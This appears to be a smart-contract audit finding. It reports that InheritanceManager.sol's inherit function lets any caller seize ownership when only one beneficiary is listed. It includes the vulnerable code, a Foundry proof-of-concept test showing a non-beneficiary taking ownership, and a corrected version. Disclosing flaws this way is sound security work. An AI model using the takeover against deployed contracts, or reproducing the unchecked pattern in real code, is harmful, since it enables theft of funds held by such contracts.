Summary
In src/InheritanceManager.sol
, the function inherit
allows anyone to become the owner of the contract when beneficiaries.length == 1
without verifying if msg.sender
is the sole beneficiary. This behavior violates the intended inheritance mechanism and could result in unauthorized ownership transfers.
Vulnerability Details
In InheritanceManager.sol#L217, the inherit
function is implemented as follows:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
When beneficiaries.length == 1
, the function does not check that msg.sender
is the only beneficiary in the list. This allows any attacker to front-run the intended beneficiary and claim ownership of the contract.
PoC
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
function test_invalid_beneficiary() public {
address user2 = makeAddr("user2");
vm.startPrank(owner);
im.addBeneficiary(user1);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 9e18);
vm.warp(1 + 90 days);
vm.startPrank(user2);
im.inherit();
vm.stopPrank();
assertEq(im.getOwner(), user2);
}
}
Impact
This vulnerability enables any attacker to steal contract ownership if there is only one beneficiary. The intended beneficiary can be front-run, causing a complete loss of control over the contract and any assets it holds.
Tools Used
Recommendations
To prevent unauthorized ownership claims, add a check before assigning a new owner:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
require(msg.sender == beneficiaries[0], "Not a valid beneficiary.");
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}